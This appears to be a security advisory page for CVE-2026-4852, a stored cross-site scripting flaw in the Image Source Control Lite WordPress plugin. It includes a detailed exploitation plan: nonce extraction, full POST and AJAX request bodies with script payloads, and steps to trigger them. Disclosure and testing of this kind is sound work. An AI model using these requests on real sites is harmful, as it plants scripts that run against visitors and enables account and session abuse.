Image Source Control Lite – Show Image Credits and Captions <= 3.9.1 - Authenticated (Author+) Stored Cross-Site Scripting via 'Image Source' Field
Description
The Image Source Control Lite – Show Image Credits and Captions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Image Source' attachment field in all versions up to, and including, 3.9.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.9.1What Changed in the Fix
Changes introduced in v3.9.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4852 (Image Source Control Lite) ## 1. Vulnerability Summary The **Image Source Control Lite** plugin (up to 3.9.1) contains a stored cross-site scripting (XSS) vulnerability. The plugin allows users with Author-level permissions and above to provide an "Image…
Show full research plan
Exploitation Research Plan: CVE-2026-4852 (Image Source Control Lite)
1. Vulnerability Summary
The Image Source Control Lite plugin (up to 3.9.1) contains a stored cross-site scripting (XSS) vulnerability. The plugin allows users with Author-level permissions and above to provide an "Image Source" for media attachments. The field isc_image_source is saved to the database without sanitization and subsequently rendered in the frontend without escaping. Specifically, the Image_Source_String::render method explicitly uses an unescaped echo, bypassing security linting.
2. Attack Vector Analysis
- Authentication: Required (Author or higher).
- Vulnerable Parameter:
attachments[<ID>][isc_image_source](when using the Media Library AJAX) orisc_image_source(when using the Edit Media post page). - Endpoint:
wp-admin/post.php(for direct edit) orwp-admin/admin-ajax.php(for Media Library updates). - Preconditions: The "Image Sources" module must be enabled (enabled by default). The payload is triggered when the image source is displayed on the frontend, typically via the
[isc_list_all]shortcode or the automatically appended source list.
3. Code Flow
- Storage:
- Entry Point:
ISC_Model::isc_fields_save(hooked toattachment_fields_to_save). - Input:
$attachment['isc_image_source']. - Logic: Calls
save_field($post['ID'], 'isc_image_source', ...)which callsupdate_post_meta. - Vulnerability: No sanitization is applied to the string before storage (unlike the
isc_image_source_urlfield which is sanitized).
- Entry Point:
- Retrieval:
ISC\Image_Sources\Renderer\Image_Source_String::getfetches the raw meta value usingISC\Image_Sources\Image_Sources::get_image_source_text_raw.
- Rendering (Sink):
- Sink:
ISC\Image_Sources\Renderer\Image_Source_String::rendercallsecho self::get( $image_id );. - Vulnerability: Line 21 in
includes/image-sources/renderer/image-source-string.phpexplicitly ignores escaping:// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped.
- Sink:
4. Nonce Acquisition Strategy
This exploit requires an authenticated Author session. The Author must obtain a WordPress core nonce to update attachment metadata.
- Method: Access the "Edit Media" page for a specific attachment.
- Steps:
- Login as Author.
- Navigate to
wp-admin/post.php?post=<ATTACHMENT_ID>&action=edit. - Use
browser_evalto extract the_wpnoncefrom the form.
- Nonce Action: The standard WordPress action for editing a post/attachment is
update-post_<ATTACHMENT_ID>.
5. Exploitation Strategy
Step 1: Upload and Identify
- Upload an image as an Author.
- Capture the Attachment ID (e.g.,
5).
Step 2: Inject Payload
- Send a POST request to
wp-admin/post.phpto update the attachment meta. - Request Details:
- URL:
{{base_url}}/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:<ATTACHMENT_ID>_wpnonce:<EXTRACTED_NONCE>isc_image_source:<script>alert(document.domain)</script>isc_image_source_own: `` (empty)
- URL:
Step 3: Trigger Execution
- View a page that renders image sources. The most reliable way is to create a page with the
[isc_list_all]shortcode. - Request Details:
- URL:
{{base_url}}/<PAGE_WITH_SHORTCODE> - Method:
GET
- URL:
6. Test Data Setup
- User: Create a user with the
authorrole. - Image: Upload an image
test.jpgvia the Author account. - Trigger Page: Create a public page with the following content:
This shortcode (registered in[isc_list_all]ISC_Public::register_hooks) invokes\ISC\Image_Sources\Renderer\Global_List::execute_shortcode, which uses the vulnerable renderer.
7. Expected Results
- The POST request to
post.phpshould return a302redirect to the edit page withmessage=4(indicating success). - The
get_post_meta(<ID>, 'isc_image_source', true)call should return the literal<script>string. - When navigating to the trigger page, the browser should execute the script, showing an alert box.
8. Verification Steps
- Check Database:
Verify it contains the payload.wp post meta get <ATTACHMENT_ID> isc_image_source - Verify Frontend Output:
Usehttp_requestto fetch the trigger page and grep for the raw payload to confirm lack of encoding:# Search for the unencoded script tag in the response body grep "<script>alert(document.domain)</script>"
9. Alternative Approaches
Via Media Grid (AJAX)
If the post.php method is restricted, use the save-attachment AJAX action.
- Endpoint:
wp-admin/admin-ajax.php - Payload:
action=save-attachment&id=<ID>&_wpnonce=<NONCE>&changes[isc_image_source]=<script>alert(1)</script> - Nonce Source: Localized in the Media Library JS object:
window._wpPluploadSettings.defaults.multipart_params._wpnonce.
Via Caption Overlay
If the global list is disabled, ensure the "Show caption on images" setting is on. The payload will trigger when viewing the post containing the image, as ISC_Public::add_source_captions_to_content uses the same unescaped renderer.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.